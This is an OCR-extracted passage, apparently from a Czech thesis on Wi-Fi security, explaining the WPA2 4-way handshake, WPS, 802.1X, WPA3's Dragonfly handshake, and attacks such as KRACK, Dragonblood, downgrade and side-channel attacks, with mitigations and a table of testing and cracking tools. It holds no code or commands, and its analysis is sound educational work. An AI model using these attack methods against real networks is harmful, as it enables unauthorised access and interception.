(Pairwise Transient Key). Pokud rdamec EAPOL pfenasi skupinovy kli¢, obsahuje
ramec pole RSC (Receive Sequence Number), ve kterém je pocatecni ¢islo paketu
tohoto klice. Pole Key Data obsahuje skupinovy kli¢ zasifrovany pomoci klice KCK
(Key Confirmation Key). Pole MIC (Message Integrity Code) zajistuje autentic¢nost
zprav pomoci klice KEK (Key Encryption Key).

Promenna Sifrované

Obr. 2.3: EAPOL ramec [8].

Na obr.2.4 je znazornény 4-way Handshake. Diky pocatecni autentizaci mezi uzi-
vatelskou stanici a pristupovym bodem (autentizatorem) maji obé zafizeni sdilené
tajemstvi PMK (Paiwise Master Key), MAC adresy stanice a pristupového bodu.
Stanice je ve stavu PTK-INIT. Pti prvni zpravé pristupovy bod prenese hodnotu
ANonce do uzivatelské stanice. Uzivatelskd stanice prejde do stavu PTK-START
a vytvori novy docasny kli¢ relace PTK. Dale vygeneruje SNonce a spolu s MIC
k ovéreni integrity posila druhou zpravu pristupovému bodu. Pristupovy bod vy-
tvori PTK a je ve stejném stavu jako uzivatelska stanice. TTeti zprava prenasi
docasny kli¢ skupiny GTK (Group Temporary Key), ktery umoznuje ¢ist zpravy
prenasené multicastem nebo broadcastem. Uzivatelska stanice prechazi do stavu
PTK-NEGOTIATING po akceptovani zpravy. Uzivatelskd stanice odpovida ¢tvrtou
potvrzovaci zpravou a prechazi do stavu PTK-DONE. Po probéhnuti 4-way Hand-

shake se klic PTK a GTK nainstaluji a otevira se port pro pfenos béznych ramc.
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PTK = INIT
1. EAPOL (ANonce)
PTK —START
Vygenerovan
PTK 2. EAPOL (Snonce, MIC)
" Vygenerovan
PTK a GTK
3. EAPOL (GTK, MIC)
PTK — NEGOTIATING
4. EAPOL (ACK)
PTK — DONE v v
Instalace PTK a GTK Instalace PTK

Obr. 2.4: Prubéh 4-way Handshake a jednotlivych stavu [8].

2.3 Wi-Fi Protected Setup

WPS (Wi-Fi Protected Setup) byl vytvoren k zjednodusenému vytvoreni bezpecné
Wi-Fi sité pro primérného uzivatele. Existuji zdvazné implementacni nedostatky,
které umoznuji ziskat neopravnény pristup k jinak bezpecné siti. WPS pouziva PIN
kod (Private Identification Number) k autorizaci pristupu do sité. Pokud sit pouziva
WPS s Push-Button-Connect metodou, proces je automatizovany a uzivatel nemusi
zadavat zadny kod. Nicméné je i metoda, kterda pozaduje manudlni vstup s PIN
kédem. PIN kéd ma 8 ¢islic, to znamena 100 000 000 rtznych moznosti. Posledni
c¢islice je checksum a prvni ¢tyfi ¢islice jsou kontrolovany samostatné od poslednich
t11 ¢islic. Tato kontrola PIN kédu je nedostatecna, protoze je mozné ji pomoci Full
Brute Force utoku vykonat v 11 000 pokusech. To znamen4, Ze pokud jedna kontrola
PIN kédu zabere 1,3 sekundy, cely titok zabere jen 3,06 hodiny. Cerpéno z [7].

Slabiny WPS

Moznost ttoku pres WPS je v soucasnych pristupovych bodech podporujicich WPA2
stale vysoka, coz je také problém s WPA. A prestoze prunik do zabezpecené sité
WPA /WPA2 prostrednictvim této zranitelnosti bude trvat piiblizné 2 az 14 hodin,
stale je to skuteény bezpecnostni problém, ktery snizuje bezpec¢nost celého systému,

a proto by WPS mélo byt na pristupovém bodu deaktivovano.
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2.4 IEEE 802.1x

IEEE 802.1x je bezpecnostni standard z roku 2001, ktery se vyuziva k autentizaci
jak v LAN, tak WLAN. Tento standard slouzi jako doplnék k pouzitému zabezpeceni
WEP, WPA a WPA2. 802.1x blokuje komunikaci neopravnénym uzivatelim v siti
pomoci jejich autentizace. Autentizace mezi uzivatelskou stanici a autentiza¢nim
serverem je vzajemna, takze se autentizuje uzivatelska stanice vici serveru a server
viuci uzivatelské stanici. Stejné tak probihd autentizace mezi pristupovym bodem,
uzivatelem a autentiza¢nim serverem. Pro tuto autentizaci se vyuzivaji vygenerované
klice pro stanici a danou relaci, které maji omezenou dobu zivotnosti. Pristupovy
bod vygeneruje klice a distribuuje je autentizovanym stanicim [26].

Standard 802.1x podporuje rizné autentiza¢ni mechanizmy, mezi které patii na-
priklad RADIUS server (Remote Authentication Dial In User Service), ktery je
popsany v RFC 2865 a RFC 3579, dalsim je DIAMETER popsany v RFC 3588
nebo KERBEROS popsany v RFC 1510. 802.1x pracuje na linkové vrstvé s ramci
protokolu EAP popsany v RFC 3748. Na obr. 2.5 je zobrazena komunikace mezi

uzivatelskou stanici, pristupovym bodem a RADIUS serverem.

?

D ‘ RADIUS

Neautorizovany port

1. EAPOL-Start

<2. EAP-Request/Identity

3. EAP-ReSpOr\Se/Identit\_/> 1. RADIUS Access-Request,

4. EAP-Request % RADIUS Access-Challenge

3. RADIUS Access—Request>

-
5. EAP-Response

< 6. EAP-Success ﬂa

Autorizovany port

7. EAP-Logoff

>
RADIUS Access-Accept

L

Neautorizovany port
I

Obr. 2.5: Prubéh autentizace portu pomoci 802.1x a RADIUS serveru.
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2.5 Wi-Fi Protected Access 2

Nejdulezitéjsi vylepseni WPA2 oproti WPA bylo pouziti Sifrovani AES (Advanced
Encryption Standard). AES je schvédlen vladou USA pro sifrovani informaci klasifi-
kovanych jako prisné tajné, takze musi byt dostatecné kvalitni, aby chranila domaci
sité. Cerpano z [23, 25].

CCMP (Counter Mode with CBC-MAC Protocol) je protokol pouzivany k Sifro-
vani. CCMP pouzivd AES v rezimu ¢itace (Counter Mode) a poté pouzije Sifrovaci
autentizacni kod zretézeného retézce (CBC-MAC). Bloky AES jsou dlouhé 128 bitu.
Pro zpracovani ramcii jsou ramce nejprve rozdéleny do blokt. Kazdy blok je ovéren
a sifrovan, pricemz ovéreni vyzaduje jednu operaci AES a Sifrovani vyzaduje dru-
hou operaci AES. Autentizace pouziva retézeni Sifry. Ovérovani zprav kazdého bloku
zéavisi na dokonceni operaci predchoziho bloku, coz zabranuje paralelnim operacim.

Na vysoké trovni je Sifrovaci protokol GCMP (Galois/Counter Mode Protocol)
funkéné podobny CCMP. Ramec je rozdélen do blokt a tyto bloky jsou ovéreny a Sif-
rovany. Namisto pouziti Tetézeni blokt k ovéteni kazdého datového bloku pouziva
GCMP nasobeni pole Galois. Na rozdil od blokovych fetézcu, které vyzaduji, aby

byl kazdy blok zpracovan pred pfechodem na dalsi, nasobeni pole Galois lze prova-

Vv

sifrovacich bloki, které vyzaduje CBC-MAC [27].

Slabiny WPA2

Hlavni zranitelnosti systému WPA2 je situace, kdy utocnik ma pristup k zabezpe-
cené siti Wi-Fi a mtze ziskat pristup k urc¢itym klicim pro provedeni itoku na jina
zafizeni v siti. Utoénik muze nastavit klon sité Wi-Fi, ke které se obét difve pFipojila.
Sité skodlivych klonti mohou poskytovat pristup k internetu, takze si obét nevsimne
rozdilu. Kdyz se obéf pokousi znovu pripojit k siti, ato¢nik ji muze donutit, aby
se misto toho pripojili k siti klont. Béhem procesu pripojeni miize utoc¢nik pokra-
covat v odesilani treti ¢asti 4-way Handshake na zafizeni obéti. Jakmile je Sifrovani
WPA2 naruSeno, mize tatocnik pomoci softwaru zachytit vSechna data prendsena
obéti prostrednictvim sité Wi-Fi. Dalsi slabinou WPA2 je tzv. Offline slovnikovy
utok.

2.6  Wi-Fi Protected Access 3

WPA3 chrani pred slovnikovymi utoky implementaci nového protokolu vymény

klici. WPA2 pouziva 4-way handshake mezi klienty a pristupovymi body k umoz-

Vv
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(Simultaneous Authentication of Equals handshake), jinak zndm jako handshake
Dragonfly. Cerpano z [9].

Funkce Wi-Fi Fasy Connect usnadnuje pripojeni bezdratovych zarizeni, ktera
nemaji (nebo maji omezenou) obrazovku nebo mechanismus vstupu do sité. Pokud
je tato funkce povolena, jednoduse se pomoci smartphonu naskenuje QR kod na
routeru, poté se naskenujete QR kdéd na tiskarné, reproduktoru nebo jiném zarizeni
[oT a nastaveni je bezpecéné provedeno. Pomoci metody QR kod je pouzito sifrovani
na zakladé verejnych klici na zafizenich, kterd v soucasné dobé do znac¢né miry
postradaji jednoduchou a bezpecnou metodu. Cerpéno z [9].

Funkce Wi-Fi Enhanced Open se projevi pti prihlaseni na Wi-Fi s WPA3 v ka-
varné pomoci zarizeni podporujici WPA3. Ptipojeni je automaticky Sifrovano bez
nutnosti dalsich udaji. To je umoznéno pomoci zavedeného standardu nazvaného
OWE (Opportunistic Wireless Encryption). Stejné jako u ochrany heslem, rozsi-
rené Sifrovani WPA3 pro verejné sité také udrzuje uzivatele Wi-Fi v bezpeci pred
zranitelnosti, kterou si mozna neuvédomuji.

Prechodovy reZim je urcen pro zarizeni, kterd nepodporuji WPA3. Jedna se o re-
zim, ve kterém jsou WPA2 a WPA3 soucasné podporovany pomoci stejného hesla.
V tomto rezimu AP nabizi volitelnou volbu ochrany ramce spravy MFP (Manage-
ment Frame Protection). Starsi klienti se pak pripojuji pomoci WPA2 bez MFP,
zatimco moderni klienti se pripojuji pomoci SAE WPA3 s povolenym MFP. Jedi-
nym pozadavkem kladenym na klienty WPA3 je, Zze musi pouzivat MFP, prestoze
je nabizen jako volitelny. Certifikace WPA3 se nezabyva bezpecnosti prechodového

rezimu. Cerpéano z [9].

Slabiny WPA3 a Handshake Dragonfly

Handshake Dragonfly pouziva k prevenci pred slovnikovymi utoky sdilené dopredné
tajemstvi. Jednd se o vymeénu kli¢i ovérenou heslem PAKE (Password Authenticated
Key Exchange). To znamen4, Ze je heslo zménéno na vysoce entropicky kli¢. Dragon-
fly pracuje s eliptickymi kiivkami ECC (Elliptic Curve Cryptography), eliptickymi
kiivkami nad hlavnim polem ECP (Elliptic Curve over a Prime field) a kryptogra-
fif kone¢nych poli FFC (Finite Field Cryptography) s multiplikativnimi skupinami
modulo prvocislo MODP (Multiiplicative groups Modulo a Prime).

Pouziva se G pro generovani skupiny a ¢ jako prvek G. Eliptické kiivky jsou
definovany rovnici y?> = 23 4+ ax + b mod p, kde p je prvocislo a a b a p zavisi
na pouzité kiivce. Pouzivame O k reprezentaci bodu v nekoneénu. Cerpano z [9].

Pred samotnym Dragonfly handshake se provede odvozeni hesla. Predem sdilené
heslo je prevedeno na skupinovy prvek vyuzivajici metodu hash-to-element. Metoda

hash-to-element je vyuzivana pro skupiny MODP (hash-to-group) a pro eliptické
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kiivky (hash-to-curve). Obé varianty algoritmu obsahuji prvek hesla P, ktery je ge-
nerovan podle strategie try-and-increment. V kazdé iteraci je vypocitan hash z hesla,
ken generovany serverem.

P1i metodé hash-to-curve je vystup hashe souradnice z bodu na ktivce. Nasledné
se zkontroluje, jestli existuje feseni pro y nad rovnici y? = 2® + ax + b mod p.
Pokud vysledek existuje je vysledkem souradnice y bodu na kiivce a bod (x, y) tvori
prvek hesla. Pokud vysledek neexistuje, ¢itac je iterovan a znovu se hleda vysledek
pro y s novym z. Samotny protokol Dragonfly sestava z faze Commit a Confirm.
Obr. 2.6 znazornuje Handshake Dragonfly. Oba ticastnici mohou handshake zahajit
soucasné, coz se stava po ztraté spojeni. Ve WPA3 zahajuje komunikaci klient,
v EAP-pwd zahajuje komunikaci RADIUS server.

Ve fazi Commit si kazdy tucastnik vybere dvé nahodna cisla r; a m;. Potom
vypocitaji E; = —m; - P a s; = (r; + m;) mod q a poslou s; a E; v potvrzovacim
ramci. PTi prijeti téchto hodnot kazdy ¢len ovéri, ze pfijaté s; je v rozsahu [1, ],
a ze F; je platny bod na krivce. Pokud néktera z kontrol selze, handshake je prerusen.
Dopredné tajemstvi je poskytnuto, protoze odvozeni m; vzhledem k P a E; je obtizné,
spoléha se na problém diskrétniho logaritmu eliptické krivky.

Ve fazi Confirm si kazdy ucastnik vypocita tajny bod K. Nasleduje hashovaci
funkce, ve které je zpracovana souradnice z bodu K, oznacena k. Vysledkem, ozna-
¢enym c¢;, je vysledek funkce HMAC z k a tr, kde tr je souhrn vSech s; a E;. Po prijeti
¢; se ovéri jeho hodnota. Pokud hodnota odpovidé o¢ekavané hodnoté, je handshake
tispésny a je vyjednany kli¢ x. Cerpano z [9].

AP nabizi své podporované sifrovaci sady, tj. Autentizacni a Sifrovaci algoritmy,
v RSNE (Robust Security Network Element). RSNE je zahrnut neovéfeny v peri-
odicky prenasenych beacon ramcich, které propaguji pritomnost sité. Klienti také
zahrnuji RSNE do zadosti o pridruzeni, aby informovali AP o sadé Sifry, kterou
chtéji pouzit. Prikladem autentizacnich algoritmu je 4-way Handshake, 802.1X nebo
SAE handshake. Uto¢nik viak miZe falSovat neovéfené RSNE. K detekei je RSNE
AP a klienta kryptograficky ovéreno béhem 4-way Handshake WPA2. Protoze ¢tyr-
cestny handshake je vzdy provadén v urcitém okamziku, kdy se stanice (tj. AP
klienta nebo klient) poprvé pripoji k siti, RSNE je vzdy ovéfeno. Pokud je zjisténa
neshoda, je handshake prerusen. To zabrani ttoc¢nikovi zneuzit RSNE a to tim, ze
priméje klienta k pouziti slabsi sady Sifry.

Dalsi zranitelnosti WPA3 je moznost vyvolat DoS utok pretizenim AP zaslanim
velkého mnozstvi zadosti o handshake s WPA3. Protokol WPA3 pouziva pro ptihla-
sovani handshake Dragonfly, ktery ma lépe chranit heslo a byt odolnéjsi proti offline
slovnikovym ttokim. Jedné se o nékolik souvisejicich zranitelnosti v samotném pro-

tokolu, které dovoluji ziskat heslo k siti Wi-Fi. Zranitelnost je souhrnné oznacena
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Random ry a mp
Ea=-mp* P
Sa=(ra+ma) modq

Random rg a mg
Eg=-mg* P
Sg =(rs + mg) mod q

u

Ovérenisg aEg
K=rA*(sB*P+ EB)

OvérenisyaEp
K=rB*(sA*P+ EA)

K = Hash(K) K = Hash(K)
tr=(sa, Ea, s, Es) tr = (sg, Es, Sa, Ea)
ca = HMAC(k, tr) cg = HMAC(K, tr)

Ca

Cs

Ovéreni cg Ovéreni cy |

Obr. 2.6: Handshake Dragonfly [9].

jako Dragonblood a sklada se z nékolika souvisejicich zranitelnosti.
Dragonslayer: utoci proti EAP-pwd, vyZaduje pouze platné uzivatelské jméno.
Dragondrain: provadi DoS pomoci handshake.
Dragontime: provadi ¢asovaci itok proti handshake.
Dragonforce: experimentalni nastroj, ktery zjistuje heslo z postrannich kanali.

2.7 Prehled bezpecnostnich protokoli

S postupnym vyvojem standardii 802.11 dochazi i k vyvoji bezpecnostnich protokolti.
Novéjsi standardy poskytuji vyssi droven zabezpeceni, ale i u nich byly nalezeny
zranitelnosti. Tabulka 2.1 nabizi prehled bezpecnostnich protokoltt pouzivanych
u standardu 802.11. Porovnava protokol WEP, WPA, WPA2 a WPA3 z pohledu
sifrovani, autentizace, integrity dat a spravy kli¢t. Tabulka obsahuje roky zahéajeni
pouzivani protokoli a se kterymi standardy se zacaly pouzivat. Dale tabulka obsa-
huje standardy na kterych jsou protokoly dostupné dnes a kdy néjakym zptisobem

doslo k prolomeni téchto protokoli.
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Tab. 2.1: Prehled bezpecnostnich protokoli.

RCA4 RC4 AES AES
TKIP CCMP GCMP
WEP-Open WPA-PSK WPA2-Personal WPA3-Personal
WEP-Shared | WPA-Enterprise | WPA2-Enterprise WPA3-Enterprise
CRC-32 MIC CBC BIP-GMAC-256
MAC
- 4-way Handshake | 4-way Handshake Dragonily Handshake
ECDH, ECDSA
1997 2003 2006 2018
802.11 802.11¢g 802.11i 802.11ac
802.11a/b 802.11g 802.11g/n/ac 802.11ac/ax
2001 2008 2017 2019
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3 Analyza zranitelnosti a hrozeb

3.1 Vektory atokii

Vektory tutoki lze rozdélit do dvou zakladnich kategorii, na aktivni a pasivni. V pti-
padé aktivniho titoku je itok veden primo na uzivatelskou stanici nebo na pristupovy
bod. Pii pasivnim ttoku tto¢nik odposlouchava komunikaci mezi uzivatelskou sta-
nici a pristupovym bodem a je tak v roli ;Man in the middle“. Na obr. 3.1 jsou
zobrazeny jednotlivé vektory tutoku: (1) predstavuje vektor utoku na pristupovy
bod, (2) predstavuje vektor itoku na prenos dat, (3) predstavuje vektor utoku na
uzivatele a uzivatelskou stanici a (4) predstavuje vektor itoku z internetu, kterému

se tato prace nebude vénovat.

y/

==.. ) . <(ﬁ)> ) Pfenos dat .
A\ /4

Internet ° Pfistupovy bod UZivatel

Man-in-the-middle

y

Obr. 3.1: Vektory ttoku v bezdratovych sitich.

3.2 Zranitelnosti a hrozby

Jednotlivé itoky 1ze rozdeélit do skupin podle toho, na kterou sluzbu bezpecnosti cili.
Napriklad atok Man-in-the-middle narusuje integritu prenasenych zprav, ale zaroven
narusuje i duvérnost mezi komunikujicimi stranami. Lze ho tedy zaradit do obou
skupin. Rozdéleni nejznameéjsich utoki a zranitelnosti se zarazenim do jednotlivych

skupin viz tabulka 3.1.
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Tab. 3.1: Prehled zranitelnosti a itoku na bezdratové sité.

Sluzba bezpeénosti | Utok/Zranitelnost | Vektor titoku | Druh ttoku
Autentizace Poisoning Sit aktivni
Odposlouchavani Sit pasivni
Utok opakovanim Klient aktivni
Spoofing Sit aktivni
Denial-of-service Sit aktivni
Utok hrubou silou | Sit aktivni
Slovnikovy ttok Sit aktivni
Dtvérnost Man-in-the-middle | Sit aktivni
Rouge AP Klient aktivni
Utok opakovanim Klient aktivni
KRACK Klient aktivni
Utok hrubou silou | Klient aktivni
Analyza provozu Sit pasivni
Kr00k Klient aktivni
Dostupnost Denial-of-service Sit aktivni
Jamming Sit aktivni/pasivni
Flooding Sit aktivni/pasivni
Deautentizace Klient aktivni/pasivni
Caffe Latte Sit aktivni/pasivni
Disassociation Klient aktivni/pasivni
Integrita Man-in-the-middle | Sit aktivni
Soukromi Odposlouchavani Sit pasivni
Spoofing Sit aktivni/pasivni
Poisoning Sit aktivni/pasivni
Socialni inzenyrstvi | Klient aktivni/pasivni

pomoci odezvy sité.

Odposlech sitové komunikace

32

Odposlech sitové komunikace predstavuje bézny utok v bezdratovém prostredi. Pri
tomto tutoku se mize utoc¢nik nachazet kdekoliv v prostoru s dosahem dané bez-
dratové sité. Tento ttok je typem pasivnich utoku, pri kterém lze odposlechnout
informace o uzivatelich a zjistit informace o sifové infrastruktute a tyto informace
déle vyuzit pii aktivnich utocich. Utok lze provézt tak, Ze je sitovy adaptér, pokud to
umoznuje, prepnut do tzv. monitorovaciho modu, ve kterém lze zachytavat vSechny
datové ramce, které se vyskytuji na pfenosovém médiu v jeho okoli [28]. Detekénim
opatTenim proti sitovému odposlechu je aktivni vyhledavani sitovych karet v mo-

nitorovacim rezimu. To lze provést pomoci ICMP echo paketi, ARP paketu nebo



Rouge AP

Jedna se o 1tok, ve kterém utocnik vytvori faleSny hotspot, ktery se vydava za legi-
timni pristupovy bod, ktery ale neni pro uzivatele bezpecny. Tento utok je vyuzivan
ke shromazdovan{ osobnich tdaji, popiipadé pro phishingové téely. Utoénik vytvord
pristupovy bod s totoznym SSID (Service Set Identifier) a frekvenci, jako ma legi-
timni pristupovy bod. Vyuziva a zaznamenava data, kterd skrze néj proudi. Uzivatel
nemusi zaznamenat, ze se jeho zarizeni pripojilo k faleSnému pristupovému bodu
[28]. Opatienim proti tomuto ttoku je pouzivani VPN (Virtual Private Network)

a pripojovani se na zabezpecené pristupové body.

Utok odmitnuti sluzby (DoS)

Zarizeni, které chce inicializovat handshake Dragonfly, zacne odeslanim potvrzova-
ciho ramce. Zpracovani tohoto ramce a generovani odpovédi je vypocetné narocné.
Prestoze protokol WPA3 obsahuje metodu vymeény souboru cookie, kterd zabranuje
utoénikim ve vytvareni ramct potvrzeni pomoci falesnych MAC adres, je trivialni
ji obejit. V dusledku toho miize itoc¢nik pretizit pristupovy bod generovanim pou-
hych 16 beacon ramct za sekundu. Tento utok zptsobuje vysoké vyuziti procesoru
na AP, vybiji jeho baterii, zabranuje nebo zpozduje pripojeni dalsich zarizeni k AP
pomoci WPA3 a mtze také zastavit nebo zpomalit dalsi funkce AP. Jako obrana
proti DoS utokim se do zranitelnych zatizeni implementuji obrané mechanizmy;,
které se snazi v cas detekovat DoS ttok a zablokovat IP adresu klienta, ze kterého

pochézi tento utok.

Utok KRACK

KRACK (Key Reinstallation Attack) je typem kybernetického ttoku, ktery vyuziva
zranitelnost ve WPA2 ve 4-way Handshake za tcelem kradeze dat prenasenych pres
sit. KRACK lze také pouzit k provadéni utoka typu ,,Man-in-the-middle attack*.
Utok ale neumoziiuje odhalit heslo k Wi-Fi siti, ani neni schopen odkryt novy sif-
rovaci kli¢ dohodnuty béhem 4-way Handshake. Cerpano z [29]. Vysledkem je stav,
kdy utocénik muze desifrovat klientovu komunikaci. Pokud obét navic nepouziva
protokol AES-CCMP, ale spoléha na WPA-TKIP nebo GCMP, je vysledek fatalni.
V takové situaci je mozné pri opakovani nonce nejen odposlouchéavat, ale i vytvaret
a injektovat vlastni ramce. GCMP navic pouziva stejny kli¢ pro obé komunikujici
strany.

Pri atoku KRACK je zafizeni v roli ,,Man in the middle®, tedy mezi uzivatelskou
stanici a piistupovym bodem. Uto¢nik pieposle prvni t¥i zpravy 4-way Handshake
pfes svoji stanici pro vytvoreni PTK klice. Ctvrtou potvrzujici zpravu, ale Gtoénik

zablokuje a nepreposle na pristupovy bod. Ovsem uzivatelska stanice jiz dokoncila
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4-way Handshake, takze jsou nainstalovany PTK a GTK klice. Ale pro pristupovy
bod to znamend, ze vyména neni dokoncena, proto opétovné vysila zpravu 3. Tato
zprava je opét utoc¢nikem preposlana na uzivatelskou stanici. Uzivatelska stanice ji
prijme a odpovi opét zpravou 4 zasifrovanou na linkové vrstvé s nastavenou hodnotou
Nonce na 1. Po odeslani zpravy 4 dojde k preinstalaci klice PTK a GTK a dojde
k vynulovani Nonce a Replay Counter.

Tim je dokoncen 4-way Handshake ze strany uzivatelské stanice. Uzivatelska
stanice posila zasifrovany datovy paket smérem na pristupovy bod, kde k zasifrovani
pouziva PTK a Nonce, ktery byl pred odesldnim nastaven na hodnotu 1. Utoénik
vyuzije paketu, ktery predtim zablokoval (puvodné prvni 4. zprava), coz predstavuje
plain text. Mezi touto zpravou (podruhé zaslanou zpravou 4 s hodnotou Nonce na 1)
a zpravou poslanou po reinstalaci klici provede operaci XOR.

Tato operace je mozna, protoze je znama hodnota Nonce a zpravy jsou v pod-
staté totozné. Jedna zprava predstavuje plain text a druha plain text, na ktery byla
aplikovana sifra. Vysledkem operace XOR je Keystream, ktery koresponduje s Nonce
roven 1, stejny Nonce je pouzit u prvni Sifrované zpravy. Diky ziskanému tajemstvi
je mozné desifrovat nasledujici komunikaci pomoci provadéni operace XOR mezi
posilanou zpravou a ziskanym Keystream. Na obr. 3.2 je znazornén utok KRACK.
Cervené jsou vyznaceny dvakrat zaslané zpravy 4, které jsou nasledné pouzity k de-

sifrovani nésledujicich zprav (vyznaceny zelené).

?
] A

B 1. (r, ANonce) P 1. (r, ANonce)
) 2. (r, SNonce) - ) 2. (r, SNonce) -
3. (r+1; GTK) ] P 3. (r+1; GTK) ]
4. (r+1) _ )
]
EpudData(...)} -
3. (r+2; GTK) ] < 3. (r+2; GTK)
Epud4. (r+2)} >
Eudl (r2)
4. (r+1) -
E,uf{Data(...)} > Epuf{Data(...)} ,

Obr. 3.2: Znazornéni utoku KRACK.
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Downgrade attack

Prechodovy rezim WPAS3 je zranitelny vici atokum typu downgrade attack, pomoci
kterého muze utocnik ziskat uzivatelské heslo tim, Ze vyuzije pristupového bodu,
ktery podporuje pouze bezpecnostné slabsi protokol WPA2. Protivnik vSak muze
zfalsovat neovérené RSNE pomoci modifikace beacon ramce. Aby to bylo mozné zjis-
tit, RSNE AP a klienta je kryptograficky ovéreno béhem 4-way Handshake WPA2.
Protoze 4-way Handshake je vzdy provadén v urcitém okamziku, kdy se stanice
(tj. AP klienta nebo klient) poprvé pripoji k siti, RSNE je vzdy ovéfeno. Pokud
je zjisténa neshoda, je 4-way Handshake pferuseno. To zabrani utocnikovi zneuzit
RSNE a primét tak klienta k pouziti slabsi sady Sifer.

K zmirnéni downgrade titoku by si mél klient (zarfizeni) pamatovat, zda sit pod-
poruje WPA3-SAE. To znamend, ze po tspésném pripojeni pomoci SAE by si mél
klient ulozit, ze sit podporuje SAE. Od tohoto okamziku se klient nikdy nesmi pripo-
jit k této siti pomoci slabsiho handshake. V pripadé, Ze si klientska stanice detekuje,
7e sit jiz nepodporuje WPA3-SAE, mutze vyzvat uzivatele k zadani hesla sité. Dalsi
obranou, kterda nevyzaduje zadné softwarové opravy, je nasazeni samostatnych siti
WPA2 a WPA3 s riznymi hesly [9].

Utok na prechodovy rezim WPA3

V prechodovém rezimu WPA3 se k AP ptipojuje klient pomoci WPA3-SAE a WPA2
se stejnym heslem. To poskytuje kompatibilitu se starsimi klienty, zatimco 4—way
Handshake WPA2 detekuje titoky na nizsi verzi. To znamend, ze pokud protivnik
modifikuje beacon ramec tak, aby primél klienta, aby si myslel, ze pristupovy bod
podporuje pouze WPA2, klient detekuje tento downgrade ttok béhem 4—way Hand-
shake. Divodem je, ze 4-way Handshake obsahuje RSNE. To klientovi umoznuje
detekovat, zda protivnik modifikoval RSNE v beacon ramci. Coz znamena, ze WPA3
poskytuje dopredné tajemstvi, i kdyz je pouzivan prechodovy rezim WPA3-SAE.

I kdyz je ttok Downgrade detekovan pomoci 4-way Handshake, ito¢nik do této
chvile zachytil dostatek dat k provedeni slovnikového ttoku. Utoénik nepotiebuje
zachytit cely proces 4-way Handshake, ale jen jednu ovérenou zpravu. Proto nemusi
byt itocnik v pozici ,,man-in-the-middle®, ale staci znat SSID sité a byt v blizkosti
klienta. Uto¢nik miZe vysilat sit WPA2 se stejnym SSID, coz zptisobi, Ze se klient
piipoji k falesnému AP pomoci protokolu WPA2. Utoénik zfal$uje prvni zpréavu
4—way Handshake a v reakci na to obét odesle druhou zpravu 4-way Handshake,

ktera uz je ovérend. Diky této ovéfené zprave lze provést slovnikovy ttok [9)].
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Utok na skupinové vyjednani SAE

SAE handshake Ize spustit pomoci ruznych eliptickych k¥ivek nebo multiplikativnich
skupin a standard 802.11ac umozinuje stanicim uprednostnovat skupiny v uzivatelsky
konfigurovatelném poradi. Se SAE je skupina vyjednavana tim, Ze nechd klienta
zahrnout pozadovanou skupinu do ramce potvrzeni spolu s platnym s; a prvkem
FE;. Pokud pristupovy bod nepodporuje tuto skupinu, odpovi pomoci potvrzovaciho
ramce se stavovym polem rovnym ,nepodporované skupiné“. Klient znovu odesle
novy potvrzovaci ramec, dalsi preferované skupiny spolu s novym s; a FE;. Tento
proces pokracuje, dokud klient nevybere kiivku, kterou AP podporuje.

Klient nejprve vytvoii zpravu zadajici o potvrzeni se skupinou 21. Uto¢nik tuto
zpravu zablokuje pred dorucenim na AP. Nésledné vytvori utocnik zpravu, ve které
oznami, ze pristupovy bod pozadovanou skupinu nepodporuje. Klient si jako od-
poved vybere dalsi preferovanou skupinu, napriklad 19. Jelikoz jako odpovéd AP
prijde s; a E; pristupového bodu, od této chvile se SAE handshake provadi pomoci
skupiny 19. Cerpano z [9]. Tento vyjednavaci proces neni kryptograficky ovéfen,
coz znamend, ze nebyl detekovan downgrade ttok. Utok se vyuziva pii dtoku DoS

(Denial of Service).

Utok na postranni kanal zalozeny na ¢asovani

Pokud pristupovy bod pouziva skupiny zabezpeceni zalozené na eliptickych kiiv-
kach NIST, které jsou podporovany vsemi zarizenimi WPA3, neztraceji se zadné
informace o casovani. Pokud vsak pristupovy bod podporuje Brainpoolovy kiivky
nebo multiplikativni bezpecnostni skupiny (MODP), doba odezvy zavisi na pou-
zitém hesle. Uto¢énik muZe tyto informace zneuZit k provedeni slovnikového ttoku
tim, Ze simuluje, kolik ¢asu bude trvat, nez AP zpracuje kazdé heslo, a porovna to

s pozorovanym Casovanim. Cerpano z [9].

Utok na postranni kanal zaloZeny na mezipaméti

Jestlize je utocnik schopen pozorovat vzorce pristupu k paméti na zafizeni obéti,
dokéaze vytvorit konstrukéni ramec handshake Dragonfly a tyto pristupové vzorce
k paméti odhali informace o pouzitém hesle. Pozorovani téchto vzorcti je mozné,
pokud utoc¢nik ovlada jakoukoli aplikaci v zarizeni obéti. Uniklé vzory lze pouzit
k provedeni slovnikového ttoku simulaci pristupovych vzori do paméti spojenych

s uhodnutym heslem a jejich porovnanim s méfenymi piistupovymi vzory [9)].
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Invalid Curve Attack

Utok slouzi k obejiti autentizace odesldnim specidlné vytvofenych boda eliptické
krivky. Toto 1ze pouzit proti serveru za tcelem pripojeni k siti Wi-Fi, ktera podpo-
ruje metodu EAP-pwd. Uto¢nik tohoto vyuZije jako falesny p¥istupovy bod. Tomuto
utoku lze zabranit vypusténim bodu, které nelezi na pouzité eliptické kiivce a vy-

pusténim bodu v nekone¢nu. Cerpano z [9).

3.3 Nastroje

V tabulce 3.2 jsou popsané nékteré z nejpouzivanéjsich nastroji urcenych k testo-
vani bezdratovych siti. Nékteré nastroje slouzi k testovani bezpecnosti, lamani klict

bezpecnostnich protokolt, jiné k odposlechu sifové komunikace, atd.
Tab. 3.2: Prehled nastroju pro testovani bezpecnosti bezdratovych siti.

Nastroj Popis

NMAP Skenovani sité

Metasploit Vykonani exploitu

Wireshark Préce se sitovym provozem

Aircrack Sada nastroji pro hodnoceni bezpecnosti Wi-Fi
Burp Suite Pen Tester | Bezpecnostni skener

Aircrack-ng Sada nastroji pro hodnoceni bezpecnosti Wi-Fi
Scapy Python knihovna pro préaci s pakety

Ettercap Néastroj pro Man in the middle

John the Ripper Nastroj pro ldamani hesel

coWPAtty Nastroj pro Offline slovnikovy tutok

WiFi Phisher Framework pro Rouge AP

Kismet Detektor pro bezdratové sité

Wifite Vyuziva zranitelnosti WEP, WPA a WPS
Reaver Utok hrubou silou na WPS

Hashcat Nastroj na lamani hesel

AirSnort Lamani hesel WEP

MDK3 Zatézové testovani sité

Fluxion Phishing, prolomeni klice WPA/WPA2
Airpwn Lamani WEP kli¢i

Fake AP Vytvoreni falesného AP

Netstumber Identifikdtor AP na Windows

WepCrack Lamani WEP kli¢t pomoci zranitelnosti RC4
hping3 Generovani sitového provozu
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Aircrack-ng

